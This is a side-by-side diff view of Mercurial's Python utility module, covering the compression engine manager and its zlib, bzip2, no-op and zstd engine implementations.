3201 if wiresupport:
3204 if wiresupport:
3202 wiretype = wiresupport.name
3205 wiretype = wiresupport.name
3203 if wiretype in self._wiretypes:
3206 if wiretype in self._wiretypes:
3204 raise error.Abort(_('wire protocol compression %s already '
3207 raise error.Abort(_('wire protocol compression %s already '
3205 'registered by %s') %
3208 'registered by %s') %
3206 (wiretype, self._wiretypes[wiretype]))
3209 (wiretype, self._wiretypes[wiretype]))
3207
3210
3208 self._wiretypes[wiretype] = name
3211 self._wiretypes[wiretype] = name
3209
3212
3210 revlogheader = engine.revlogheader()
3213 revlogheader = engine.revlogheader()
3211 if revlogheader and revlogheader in self._revlogheaders:
3214 if revlogheader and revlogheader in self._revlogheaders:
3212 raise error.Abort(_('revlog header %s already registered by %s') %
3215 raise error.Abort(_('revlog header %s already registered by %s') %
3213 (revlogheader, self._revlogheaders[revlogheader]))
3216 (revlogheader, self._revlogheaders[revlogheader]))
3214
3217
3215 if revlogheader:
3218 if revlogheader:
3216 self._revlogheaders[revlogheader] = name
3219 self._revlogheaders[revlogheader] = name
3217
3220
3218 self._engines[name] = engine
3221 self._engines[name] = engine
3219
3222
3220 @property
3223 @property
3221 def supportedbundlenames(self):
3224 def supportedbundlenames(self):
3222 return set(self._bundlenames.keys())
3225 return set(self._bundlenames.keys())
3223
3226
3224 @property
3227 @property
3225 def supportedbundletypes(self):
3228 def supportedbundletypes(self):
3226 return set(self._bundletypes.keys())
3229 return set(self._bundletypes.keys())
3227
3230
3228 def forbundlename(self, bundlename):
3231 def forbundlename(self, bundlename):
3229 """Obtain a compression engine registered to a bundle name.
3232 """Obtain a compression engine registered to a bundle name.
3230
3233
3231 Will raise KeyError if the bundle type isn't registered.
3234 Will raise KeyError if the bundle type isn't registered.
3232
3235
3233 Will abort if the engine is known but not available.
3236 Will abort if the engine is known but not available.
3234 """
3237 """
3235 engine = self._engines[self._bundlenames[bundlename]]
3238 engine = self._engines[self._bundlenames[bundlename]]
3236 if not engine.available():
3239 if not engine.available():
3237 raise error.Abort(_('compression engine %s could not be loaded') %
3240 raise error.Abort(_('compression engine %s could not be loaded') %
3238 engine.name())
3241 engine.name())
3239 return engine
3242 return engine
3240
3243
3241 def forbundletype(self, bundletype):
3244 def forbundletype(self, bundletype):
3242 """Obtain a compression engine registered to a bundle type.
3245 """Obtain a compression engine registered to a bundle type.
3243
3246
3244 Will raise KeyError if the bundle type isn't registered.
3247 Will raise KeyError if the bundle type isn't registered.
3245
3248
3246 Will abort if the engine is known but not available.
3249 Will abort if the engine is known but not available.
3247 """
3250 """
3248 engine = self._engines[self._bundletypes[bundletype]]
3251 engine = self._engines[self._bundletypes[bundletype]]
3249 if not engine.available():
3252 if not engine.available():
3250 raise error.Abort(_('compression engine %s could not be loaded') %
3253 raise error.Abort(_('compression engine %s could not be loaded') %
3251 engine.name())
3254 engine.name())
3252 return engine
3255 return engine
3253
3256
3254 def supportedwireengines(self, role, onlyavailable=True):
3257 def supportedwireengines(self, role, onlyavailable=True):
3255 """Obtain compression engines that support the wire protocol.
3258 """Obtain compression engines that support the wire protocol.
3256
3259
3257 Returns a list of engines in prioritized order, most desired first.
3260 Returns a list of engines in prioritized order, most desired first.
3258
3261
3259 If ``onlyavailable`` is set, filter out engines that can't be
3262 If ``onlyavailable`` is set, filter out engines that can't be
3260 loaded.
3263 loaded.
3261 """
3264 """
3262 assert role in (SERVERROLE, CLIENTROLE)
3265 assert role in (SERVERROLE, CLIENTROLE)
3263
3266
3264 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3267 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3265
3268
3266 engines = [self._engines[e] for e in self._wiretypes.values()]
3269 engines = [self._engines[e] for e in self._wiretypes.values()]
3267 if onlyavailable:
3270 if onlyavailable:
3268 engines = [e for e in engines if e.available()]
3271 engines = [e for e in engines if e.available()]
3269
3272
3270 def getkey(e):
3273 def getkey(e):
3271 # Sort first by priority, highest first. In case of tie, sort
3274 # Sort first by priority, highest first. In case of tie, sort
3272 # alphabetically. This is arbitrary, but ensures output is
3275 # alphabetically. This is arbitrary, but ensures output is
3273 # stable.
3276 # stable.
3274 w = e.wireprotosupport()
3277 w = e.wireprotosupport()
3275 return -1 * getattr(w, attr), w.name
3278 return -1 * getattr(w, attr), w.name
3276
3279
3277 return list(sorted(engines, key=getkey))
3280 return list(sorted(engines, key=getkey))
3278
3281
3279 def forwiretype(self, wiretype):
3282 def forwiretype(self, wiretype):
3280 engine = self._engines[self._wiretypes[wiretype]]
3283 engine = self._engines[self._wiretypes[wiretype]]
3281 if not engine.available():
3284 if not engine.available():
3282 raise error.Abort(_('compression engine %s could not be loaded') %
3285 raise error.Abort(_('compression engine %s could not be loaded') %
3283 engine.name())
3286 engine.name())
3284 return engine
3287 return engine
3285
3288
3286 def forrevlogheader(self, header):
3289 def forrevlogheader(self, header):
3287 """Obtain a compression engine registered to a revlog header.
3290 """Obtain a compression engine registered to a revlog header.
3288
3291
3289 Will raise KeyError if the revlog header value isn't registered.
3292 Will raise KeyError if the revlog header value isn't registered.
3290 """
3293 """
3291 return self._engines[self._revlogheaders[header]]
3294 return self._engines[self._revlogheaders[header]]
3292
3295
3293 compengines = compressormanager()
3296 compengines = compressormanager()
3294
3297
3295 class compressionengine(object):
3298 class compressionengine(object):
3296 """Base class for compression engines.
3299 """Base class for compression engines.
3297
3300
3298 Compression engines must implement the interface defined by this class.
3301 Compression engines must implement the interface defined by this class.
3299 """
3302 """
3300 def name(self):
3303 def name(self):
3301 """Returns the name of the compression engine.
3304 """Returns the name of the compression engine.
3302
3305
3303 This is the key the engine is registered under.
3306 This is the key the engine is registered under.
3304
3307
3305 This method must be implemented.
3308 This method must be implemented.
3306 """
3309 """
3307 raise NotImplementedError()
3310 raise NotImplementedError()
3308
3311
3309 def available(self):
3312 def available(self):
3310 """Whether the compression engine is available.
3313 """Whether the compression engine is available.
3311
3314
3312 The intent of this method is to allow optional compression engines
3315 The intent of this method is to allow optional compression engines
3313 that may not be available in all installations (such as engines relying
3316 that may not be available in all installations (such as engines relying
3314 on C extensions that may not be present).
3317 on C extensions that may not be present).
3315 """
3318 """
3316 return True
3319 return True
3317
3320
3318 def bundletype(self):
3321 def bundletype(self):
3319 """Describes bundle identifiers for this engine.
3322 """Describes bundle identifiers for this engine.
3320
3323
3321 If this compression engine isn't supported for bundles, returns None.
3324 If this compression engine isn't supported for bundles, returns None.
3322
3325
3323 If this engine can be used for bundles, returns a 2-tuple of strings of
3326 If this engine can be used for bundles, returns a 2-tuple of strings of
3324 the user-facing "bundle spec" compression name and an internal
3327 the user-facing "bundle spec" compression name and an internal
3325 identifier used to denote the compression format within bundles. To
3328 identifier used to denote the compression format within bundles. To
3326 exclude the name from external usage, set the first element to ``None``.
3329 exclude the name from external usage, set the first element to ``None``.
3327
3330
3328 If bundle compression is supported, the class must also implement
3331 If bundle compression is supported, the class must also implement
3329 ``compressstream`` and `decompressorreader``.
3332 ``compressstream`` and `decompressorreader``.
3330
3333
3331 The docstring of this method is used in the help system to tell users
3334 The docstring of this method is used in the help system to tell users
3332 about this engine.
3335 about this engine.
3333 """
3336 """
3334 return None
3337 return None
3335
3338
3336 def wireprotosupport(self):
3339 def wireprotosupport(self):
3337 """Declare support for this compression format on the wire protocol.
3340 """Declare support for this compression format on the wire protocol.
3338
3341
3339 If this compression engine isn't supported for compressing wire
3342 If this compression engine isn't supported for compressing wire
3340 protocol payloads, returns None.
3343 protocol payloads, returns None.
3341
3344
3342 Otherwise, returns ``compenginewireprotosupport`` with the following
3345 Otherwise, returns ``compenginewireprotosupport`` with the following
3343 fields:
3346 fields:
3344
3347
3345 * String format identifier
3348 * String format identifier
3346 * Integer priority for the server
3349 * Integer priority for the server
3347 * Integer priority for the client
3350 * Integer priority for the client
3348
3351
3349 The integer priorities are used to order the advertisement of format
3352 The integer priorities are used to order the advertisement of format
3350 support by server and client. The highest integer is advertised
3353 support by server and client. The highest integer is advertised
3351 first. Integers with non-positive values aren't advertised.
3354 first. Integers with non-positive values aren't advertised.
3352
3355
3353 The priority values are somewhat arbitrary and only used for default
3356 The priority values are somewhat arbitrary and only used for default
3354 ordering. The relative order can be changed via config options.
3357 ordering. The relative order can be changed via config options.
3355
3358
3356 If wire protocol compression is supported, the class must also implement
3359 If wire protocol compression is supported, the class must also implement
3357 ``compressstream`` and ``decompressorreader``.
3360 ``compressstream`` and ``decompressorreader``.
3358 """
3361 """
3359 return None
3362 return None
3360
3363
3361 def revlogheader(self):
3364 def revlogheader(self):
3362 """Header added to revlog chunks that identifies this engine.
3365 """Header added to revlog chunks that identifies this engine.
3363
3366
3364 If this engine can be used to compress revlogs, this method should
3367 If this engine can be used to compress revlogs, this method should
3365 return the bytes used to identify chunks compressed with this engine.
3368 return the bytes used to identify chunks compressed with this engine.
3366 Else, the method should return ``None`` to indicate it does not
3369 Else, the method should return ``None`` to indicate it does not
3367 participate in revlog compression.
3370 participate in revlog compression.
3368 """
3371 """
3369 return None
3372 return None
3370
3373
3371 def compressstream(self, it, opts=None):
3374 def compressstream(self, it, opts=None):
3372 """Compress an iterator of chunks.
3375 """Compress an iterator of chunks.
3373
3376
3374 The method receives an iterator (ideally a generator) of chunks of
3377 The method receives an iterator (ideally a generator) of chunks of
3375 bytes to be compressed. It returns an iterator (ideally a generator)
3378 bytes to be compressed. It returns an iterator (ideally a generator)
3376 of bytes of chunks representing the compressed output.
3379 of bytes of chunks representing the compressed output.
3377
3380
3378 Optionally accepts an argument defining how to perform compression.
3381 Optionally accepts an argument defining how to perform compression.
3379 Each engine treats this argument differently.
3382 Each engine treats this argument differently.
3380 """
3383 """
3381 raise NotImplementedError()
3384 raise NotImplementedError()
3382
3385
3383 def decompressorreader(self, fh):
3386 def decompressorreader(self, fh):
3384 """Perform decompression on a file object.
3387 """Perform decompression on a file object.
3385
3388
3386 Argument is an object with a ``read(size)`` method that returns
3389 Argument is an object with a ``read(size)`` method that returns
3387 compressed data. Return value is an object with a ``read(size)`` that
3390 compressed data. Return value is an object with a ``read(size)`` that
3388 returns uncompressed data.
3391 returns uncompressed data.
3389 """
3392 """
3390 raise NotImplementedError()
3393 raise NotImplementedError()
3391
3394
3392 def revlogcompressor(self, opts=None):
3395 def revlogcompressor(self, opts=None):
3393 """Obtain an object that can be used to compress revlog entries.
3396 """Obtain an object that can be used to compress revlog entries.
3394
3397
3395 The object has a ``compress(data)`` method that compresses binary
3398 The object has a ``compress(data)`` method that compresses binary
3396 data. This method returns compressed binary data or ``None`` if
3399 data. This method returns compressed binary data or ``None`` if
3397 the data could not be compressed (too small, not compressible, etc).
3400 the data could not be compressed (too small, not compressible, etc).
3398 The returned data should have a header uniquely identifying this
3401 The returned data should have a header uniquely identifying this
3399 compression format so decompression can be routed to this engine.
3402 compression format so decompression can be routed to this engine.
3400 This header should be identified by the ``revlogheader()`` return
3403 This header should be identified by the ``revlogheader()`` return
3401 value.
3404 value.
3402
3405
3403 The object has a ``decompress(data)`` method that decompresses
3406 The object has a ``decompress(data)`` method that decompresses
3404 data. The method will only be called if ``data`` begins with
3407 data. The method will only be called if ``data`` begins with
3405 ``revlogheader()``. The method should return the raw, uncompressed
3408 ``revlogheader()``. The method should return the raw, uncompressed
3406 data or raise a ``RevlogError``.
3409 data or raise a ``RevlogError``.
3407
3410
3408 The object is reusable but is not thread safe.
3411 The object is reusable but is not thread safe.
3409 """
3412 """
3410 raise NotImplementedError()
3413 raise NotImplementedError()
3411
3414
3412 class _zlibengine(compressionengine):
3415 class _zlibengine(compressionengine):
3413 def name(self):
3416 def name(self):
3414 return 'zlib'
3417 return 'zlib'
3415
3418
3416 def bundletype(self):
3419 def bundletype(self):
3417 """zlib compression using the DEFLATE algorithm.
3420 """zlib compression using the DEFLATE algorithm.
3418
3421
3419 All Mercurial clients should support this format. The compression
3422 All Mercurial clients should support this format. The compression
3420 algorithm strikes a reasonable balance between compression ratio
3423 algorithm strikes a reasonable balance between compression ratio
3421 and size.
3424 and size.
3422 """
3425 """
3423 return 'gzip', 'GZ'
3426 return 'gzip', 'GZ'
3424
3427
3425 def wireprotosupport(self):
3428 def wireprotosupport(self):
3426 return compewireprotosupport('zlib', 20, 20)
3429 return compewireprotosupport('zlib', 20, 20)
3427
3430
3428 def revlogheader(self):
3431 def revlogheader(self):
3429 return 'x'
3432 return 'x'
3430
3433
3431 def compressstream(self, it, opts=None):
3434 def compressstream(self, it, opts=None):
3432 opts = opts or {}
3435 opts = opts or {}
3433
3436
3434 z = zlib.compressobj(opts.get('level', -1))
3437 z = zlib.compressobj(opts.get('level', -1))
3435 for chunk in it:
3438 for chunk in it:
3436 data = z.compress(chunk)
3439 data = z.compress(chunk)
3437 # Not all calls to compress emit data. It is cheaper to inspect
3440 # Not all calls to compress emit data. It is cheaper to inspect
3438 # here than to feed empty chunks through generator.
3441 # here than to feed empty chunks through generator.
3439 if data:
3442 if data:
3440 yield data
3443 yield data
3441
3444
3442 yield z.flush()
3445 yield z.flush()
3443
3446
3444 def decompressorreader(self, fh):
3447 def decompressorreader(self, fh):
3445 def gen():
3448 def gen():
3446 d = zlib.decompressobj()
3449 d = zlib.decompressobj()
3447 for chunk in filechunkiter(fh):
3450 for chunk in filechunkiter(fh):
3448 while chunk:
3451 while chunk:
3449 # Limit output size to limit memory.
3452 # Limit output size to limit memory.
3450 yield d.decompress(chunk, 2 ** 18)
3453 yield d.decompress(chunk, 2 ** 18)
3451 chunk = d.unconsumed_tail
3454 chunk = d.unconsumed_tail
3452
3455
3453 return chunkbuffer(gen())
3456 return chunkbuffer(gen())
3454
3457
3455 class zlibrevlogcompressor(object):
3458 class zlibrevlogcompressor(object):
3456 def compress(self, data):
3459 def compress(self, data):
3457 insize = len(data)
3460 insize = len(data)
3458 # Caller handles empty input case.
3461 # Caller handles empty input case.
3459 assert insize > 0
3462 assert insize > 0
3460
3463
3461 if insize < 44:
3464 if insize < 44:
3462 return None
3465 return None
3463
3466
3464 elif insize <= 1000000:
3467 elif insize <= 1000000:
3465 compressed = zlib.compress(data)
3468 compressed = zlib.compress(data)
3466 if len(compressed) < insize:
3469 if len(compressed) < insize:
3467 return compressed
3470 return compressed
3468 return None
3471 return None
3469
3472
3470 # zlib makes an internal copy of the input buffer, doubling
3473 # zlib makes an internal copy of the input buffer, doubling
3471 # memory usage for large inputs. So do streaming compression
3474 # memory usage for large inputs. So do streaming compression
3472 # on large inputs.
3475 # on large inputs.
3473 else:
3476 else:
3474 z = zlib.compressobj()
3477 z = zlib.compressobj()
3475 parts = []
3478 parts = []
3476 pos = 0
3479 pos = 0
3477 while pos < insize:
3480 while pos < insize:
3478 pos2 = pos + 2**20
3481 pos2 = pos + 2**20
3479 parts.append(z.compress(data[pos:pos2]))
3482 parts.append(z.compress(data[pos:pos2]))
3480 pos = pos2
3483 pos = pos2
3481 parts.append(z.flush())
3484 parts.append(z.flush())
3482
3485
3483 if sum(map(len, parts)) < insize:
3486 if sum(map(len, parts)) < insize:
3484 return ''.join(parts)
3487 return ''.join(parts)
3485 return None
3488 return None
3486
3489
3487 def decompress(self, data):
3490 def decompress(self, data):
3488 try:
3491 try:
3489 return zlib.decompress(data)
3492 return zlib.decompress(data)
3490 except zlib.error as e:
3493 except zlib.error as e:
3491 raise error.RevlogError(_('revlog decompress error: %s') %
3494 raise error.RevlogError(_('revlog decompress error: %s') %
3492 str(e))
3495 str(e))
3493
3496
3494 def revlogcompressor(self, opts=None):
3497 def revlogcompressor(self, opts=None):
3495 return self.zlibrevlogcompressor()
3498 return self.zlibrevlogcompressor()
3496
3499
3497 compengines.register(_zlibengine())
3500 compengines.register(_zlibengine())
3498
3501
3499 class _bz2engine(compressionengine):
3502 class _bz2engine(compressionengine):
3500 def name(self):
3503 def name(self):
3501 return 'bz2'
3504 return 'bz2'
3502
3505
3503 def bundletype(self):
3506 def bundletype(self):
3504 """An algorithm that produces smaller bundles than ``gzip``.
3507 """An algorithm that produces smaller bundles than ``gzip``.
3505
3508
3506 All Mercurial clients should support this format.
3509 All Mercurial clients should support this format.
3507
3510
3508 This engine will likely produce smaller bundles than ``gzip`` but
3511 This engine will likely produce smaller bundles than ``gzip`` but
3509 will be significantly slower, both during compression and
3512 will be significantly slower, both during compression and
3510 decompression.
3513 decompression.
3511
3514
3512 If available, the ``zstd`` engine can yield similar or better
3515 If available, the ``zstd`` engine can yield similar or better
3513 compression at much higher speeds.
3516 compression at much higher speeds.
3514 """
3517 """
3515 return 'bzip2', 'BZ'
3518 return 'bzip2', 'BZ'
3516
3519
3517 # We declare a protocol name but don't advertise by default because
3520 # We declare a protocol name but don't advertise by default because
3518 # it is slow.
3521 # it is slow.
3519 def wireprotosupport(self):
3522 def wireprotosupport(self):
3520 return compewireprotosupport('bzip2', 0, 0)
3523 return compewireprotosupport('bzip2', 0, 0)
3521
3524
3522 def compressstream(self, it, opts=None):
3525 def compressstream(self, it, opts=None):
3523 opts = opts or {}
3526 opts = opts or {}
3524 z = bz2.BZ2Compressor(opts.get('level', 9))
3527 z = bz2.BZ2Compressor(opts.get('level', 9))
3525 for chunk in it:
3528 for chunk in it:
3526 data = z.compress(chunk)
3529 data = z.compress(chunk)
3527 if data:
3530 if data:
3528 yield data
3531 yield data
3529
3532
3530 yield z.flush()
3533 yield z.flush()
3531
3534
3532 def decompressorreader(self, fh):
3535 def decompressorreader(self, fh):
3533 def gen():
3536 def gen():
3534 d = bz2.BZ2Decompressor()
3537 d = bz2.BZ2Decompressor()
3535 for chunk in filechunkiter(fh):
3538 for chunk in filechunkiter(fh):
3536 yield d.decompress(chunk)
3539 yield d.decompress(chunk)
3537
3540
3538 return chunkbuffer(gen())
3541 return chunkbuffer(gen())
3539
3542
3540 compengines.register(_bz2engine())
3543 compengines.register(_bz2engine())
3541
3544
3542 class _truncatedbz2engine(compressionengine):
3545 class _truncatedbz2engine(compressionengine):
3543 def name(self):
3546 def name(self):
3544 return 'bz2truncated'
3547 return 'bz2truncated'
3545
3548
3546 def bundletype(self):
3549 def bundletype(self):
3547 return None, '_truncatedBZ'
3550 return None, '_truncatedBZ'
3548
3551
3549 # We don't implement compressstream because it is hackily handled elsewhere.
3552 # We don't implement compressstream because it is hackily handled elsewhere.
3550
3553
3551 def decompressorreader(self, fh):
3554 def decompressorreader(self, fh):
3552 def gen():
3555 def gen():
3553 # The input stream doesn't have the 'BZ' header. So add it back.
3556 # The input stream doesn't have the 'BZ' header. So add it back.
3554 d = bz2.BZ2Decompressor()
3557 d = bz2.BZ2Decompressor()
3555 d.decompress('BZ')
3558 d.decompress('BZ')
3556 for chunk in filechunkiter(fh):
3559 for chunk in filechunkiter(fh):
3557 yield d.decompress(chunk)
3560 yield d.decompress(chunk)
3558
3561
3559 return chunkbuffer(gen())
3562 return chunkbuffer(gen())
3560
3563
3561 compengines.register(_truncatedbz2engine())
3564 compengines.register(_truncatedbz2engine())
3562
3565
3563 class _noopengine(compressionengine):
3566 class _noopengine(compressionengine):
3564 def name(self):
3567 def name(self):
3565 return 'none'
3568 return 'none'
3566
3569
3567 def bundletype(self):
3570 def bundletype(self):
3568 """No compression is performed.
3571 """No compression is performed.
3569
3572
3570 Use this compression engine to explicitly disable compression.
3573 Use this compression engine to explicitly disable compression.
3571 """
3574 """
3572 return 'none', 'UN'
3575 return 'none', 'UN'
3573
3576
3574 # Clients always support uncompressed payloads. Servers don't because
3577 # Clients always support uncompressed payloads. Servers don't because
3575 # unless you are on a fast network, uncompressed payloads can easily
3578 # unless you are on a fast network, uncompressed payloads can easily
3576 # saturate your network pipe.
3579 # saturate your network pipe.
3577 def wireprotosupport(self):
3580 def wireprotosupport(self):
3578 return compewireprotosupport('none', 0, 10)
3581 return compewireprotosupport('none', 0, 10)
3579
3582
3580 # We don't implement revlogheader because it is handled specially
3583 # We don't implement revlogheader because it is handled specially
3581 # in the revlog class.
3584 # in the revlog class.
3582
3585
3583 def compressstream(self, it, opts=None):
3586 def compressstream(self, it, opts=None):
3584 return it
3587 return it
3585
3588
3586 def decompressorreader(self, fh):
3589 def decompressorreader(self, fh):
3587 return fh
3590 return fh
3588
3591
3589 class nooprevlogcompressor(object):
3592 class nooprevlogcompressor(object):
3590 def compress(self, data):
3593 def compress(self, data):
3591 return None
3594 return None
3592
3595
3593 def revlogcompressor(self, opts=None):
3596 def revlogcompressor(self, opts=None):
3594 return self.nooprevlogcompressor()
3597 return self.nooprevlogcompressor()
3595
3598
3596 compengines.register(_noopengine())
3599 compengines.register(_noopengine())
3597
3600
3598 class _zstdengine(compressionengine):
3601 class _zstdengine(compressionengine):
3599 def name(self):
3602 def name(self):
3600 return 'zstd'
3603 return 'zstd'
3601
3604
3602 @propertycache
3605 @propertycache
3603 def _module(self):
3606 def _module(self):
3604 # Not all installs have the zstd module available. So defer importing
3607 # Not all installs have the zstd module available. So defer importing
3605 # until first access.
3608 # until first access.
3606 try:
3609 try:
3607 from . import zstd
3610 from . import zstd
3608 # Force delayed import.
3611 # Force delayed import.
3609 zstd.__version__
3612 zstd.__version__
3610 return zstd
3613 return zstd
3611 except ImportError:
3614 except ImportError:
3612 return None
3615 return None
3613
3616
3614 def available(self):
3617 def available(self):
3615 return bool(self._module)
3618 return bool(self._module)
3616
3619
3617 def bundletype(self):
3620 def bundletype(self):
3618 """A modern compression algorithm that is fast and highly flexible.
3621 """A modern compression algorithm that is fast and highly flexible.
3619
3622
3620 Only supported by Mercurial 4.1 and newer clients.
3623 Only supported by Mercurial 4.1 and newer clients.
3621
3624
3622 With the default settings, zstd compression is both faster and yields
3625 With the default settings, zstd compression is both faster and yields
3623 better compression than ``gzip``. It also frequently yields better
3626 better compression than ``gzip``. It also frequently yields better
3624 compression than ``bzip2`` while operating at much higher speeds.
3627 compression than ``bzip2`` while operating at much higher speeds.
3625
3628
3626 If this engine is available and backwards compatibility is not a
3629 If this engine is available and backwards compatibility is not a
3627 concern, it is likely the best available engine.
3630 concern, it is likely the best available engine.
3628 """
3631 """
3629 return 'zstd', 'ZS'
3632 return 'zstd', 'ZS'
3630
3633
3631 def wireprotosupport(self):
3634 def wireprotosupport(self):
3632 return compewireprotosupport('zstd', 50, 50)
3635 return compewireprotosupport('zstd', 50, 50)
3633
3636
3634 def revlogheader(self):
3637 def revlogheader(self):
3635 return '\x28'
3638 return '\x28'
3636
3639
3637 def compressstream(self, it, opts=None):
3640 def compressstream(self, it, opts=None):
3638 opts = opts or {}
3641 opts = opts or {}
3639 # zstd level 3 is almost always significantly faster than zlib
3642 # zstd level 3 is almost always significantly faster than zlib
3640 # while providing no worse compression. It strikes a good balance
3643 # while providing no worse compression. It strikes a good balance
3641 # between speed and compression.
3644 # between speed and compression.
3642 level = opts.get('level', 3)
3645 level = opts.get('level', 3)
3643
3646
3644 zstd = self._module
3647 zstd = self._module
3645 z = zstd.ZstdCompressor(level=level).compressobj()
3648 z = zstd.ZstdCompressor(level=level).compressobj()
3646 for chunk in it:
3649 for chunk in it:
3647 data = z.compress(chunk)
3650 data = z.compress(chunk)
3648 if data:
3651 if data:
3649 yield data
3652 yield data
3650
3653
3651 yield z.flush()
3654 yield z.flush()
3652
3655
3653 def decompressorreader(self, fh):
3656 def decompressorreader(self, fh):
3654 zstd = self._module
3657 zstd = self._module
3655 dctx = zstd.ZstdDecompressor()
3658 dctx = zstd.ZstdDecompressor()
3656 return chunkbuffer(dctx.read_from(fh))
3659 return chunkbuffer(dctx.read_from(fh))
3657
3660
3658 class zstdrevlogcompressor(object):
3661 class zstdrevlogcompressor(object):
3659 def __init__(self, zstd, level=3):
3662 def __init__(self, zstd, level=3):
3660 # Writing the content size adds a few bytes to the output. However,
3663 # Writing the content size adds a few bytes to the output. However,
3661 # it allows decompression to be more optimal since we can
3664 # it allows decompression to be more optimal since we can
3662 # pre-allocate a buffer to hold the result.
3665 # pre-allocate a buffer to hold the result.
3663 self._cctx = zstd.ZstdCompressor(level=level,
3666 self._cctx = zstd.ZstdCompressor(level=level,
3664 write_content_size=True)
3667 write_content_size=True)
3665 self._dctx = zstd.ZstdDecompressor()
3668 self._dctx = zstd.ZstdDecompressor()
3666 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3669 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3667 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3670 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3668
3671
3669 def compress(self, data):
3672 def compress(self, data):
3670 insize = len(data)
3673 insize = len(data)
3671 # Caller handles empty input case.
3674 # Caller handles empty input case.
3672 assert insize > 0
3675 assert insize > 0
3673
3676
3674 if insize < 50:
3677 if insize < 50:
3675 return None
3678 return None
3676
3679
3677 elif insize <= 1000000:
3680 elif insize <= 1000000:
3678 compressed = self._cctx.compress(data)
3681 compressed = self._cctx.compress(data)
3679 if len(compressed) < insize:
3682 if len(compressed) < insize:
3680 return compressed
3683 return compressed
3681 return None
3684 return None
3682 else:
3685 else:
3683 z = self._cctx.compressobj()
3686 z = self._cctx.compressobj()
3684 chunks = []
3687 chunks = []
3685 pos = 0
3688 pos = 0
3686 while pos < insize:
3689 while pos < insize:
3687 pos2 = pos + self._compinsize
3690 pos2 = pos + self._compinsize
3688 chunk = z.compress(data[pos:pos2])
3691 chunk = z.compress(data[pos:pos2])
3689 if chunk:
3692 if chunk:
3690 chunks.append(chunk)
3693 chunks.append(chunk)
3691 pos = pos2
3694 pos = pos2
3692 chunks.append(z.flush())
3695 chunks.append(z.flush())
3693
3696
3694 if sum(map(len, chunks)) < insize:
3697 if sum(map(len, chunks)) < insize:
3695 return ''.join(chunks)
3698 return ''.join(chunks)
3696 return None
3699 return None
3697
3700
3698 def decompress(self, data):
3701 def decompress(self, data):
3699 insize = len(data)
3702 insize = len(data)
3700
3703
3701 try:
3704 try:
3702 # This was measured to be faster than other streaming
3705 # This was measured to be faster than other streaming
3703 # decompressors.
3706 # decompressors.
3704 dobj = self._dctx.decompressobj()
3707 dobj = self._dctx.decompressobj()
3705 chunks = []
3708 chunks = []
3706 pos = 0
3709 pos = 0
3707 while pos < insize:
3710 while pos < insize:
3708 pos2 = pos + self._decompinsize
3711 pos2 = pos + self._decompinsize
3709 chunk = dobj.decompress(data[pos:pos2])
3712 chunk = dobj.decompress(data[pos:pos2])
3710 if chunk:
3713 if chunk:
3711 chunks.append(chunk)
3714 chunks.append(chunk)
3712 pos = pos2
3715 pos = pos2
3713 # Frame should be exhausted, so no finish() API.
3716 # Frame should be exhausted, so no finish() API.
3714
3717
3715 return ''.join(chunks)
3718 return ''.join(chunks)
3716 except Exception as e:
3719 except Exception as e:
3717 raise error.RevlogError(_('revlog decompress error: %s') %
3720 raise error.RevlogError(_('revlog decompress error: %s') %
3718 str(e))
3721 str(e))
3719
3722
3720 def revlogcompressor(self, opts=None):
3723 def revlogcompressor(self, opts=None):
3721 opts = opts or {}
3724 opts = opts or {}
3722 return self.zstdrevlogcompressor(self._module,
3725 return self.zstdrevlogcompressor(self._module,
3723 level=opts.get('level', 3))
3726 level=opts.get('level', 3))
3724
3727
3725 compengines.register(_zstdengine())
3728 compengines.register(_zstdengine())
3726
3729
3727 def bundlecompressiontopics():
3730 def bundlecompressiontopics():
3728 """Obtains a list of available bundle compressions for use in help."""
3731 """Obtains a list of available bundle compressions for use in help."""
3729 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3732 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3730 items = {}
3733 items = {}
3731
3734
3732 # We need to format the docstring. So use a dummy object/type to hold it
3735 # We need to format the docstring. So use a dummy object/type to hold it
3733 # rather than mutating the original.
3736 # rather than mutating the original.
3734 class docobject(object):
3737 class docobject(object):
3735 pass
3738 pass
3736
3739
3737 for name in compengines:
3740 for name in compengines:
3738 engine = compengines[name]
3741 engine = compengines[name]
3739
3742
3740 if not engine.available():
3743 if not engine.available():
3741 continue
3744 continue
3742
3745
3743 bt = engine.bundletype()
3746 bt = engine.bundletype()
3744 if not bt or not bt[0]:
3747 if not bt or not bt[0]:
3745 continue
3748 continue
3746
3749
3747 doc = pycompat.sysstr('``%s``\n %s') % (
3750 doc = pycompat.sysstr('``%s``\n %s') % (
3748 bt[0], engine.bundletype.__doc__)
3751 bt[0], engine.bundletype.__doc__)
3749
3752
3750 value = docobject()
3753 value = docobject()
3751 value.__doc__ = doc
3754 value.__doc__ = doc
3752
3755
3753 items[bt[0]] = value
3756 items[bt[0]] = value
3754
3757
3755 return items
3758 return items
3756
3759
3757 # convenient shortcut
3760 # convenient shortcut
3758 dst = debugstacktrace
3761 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now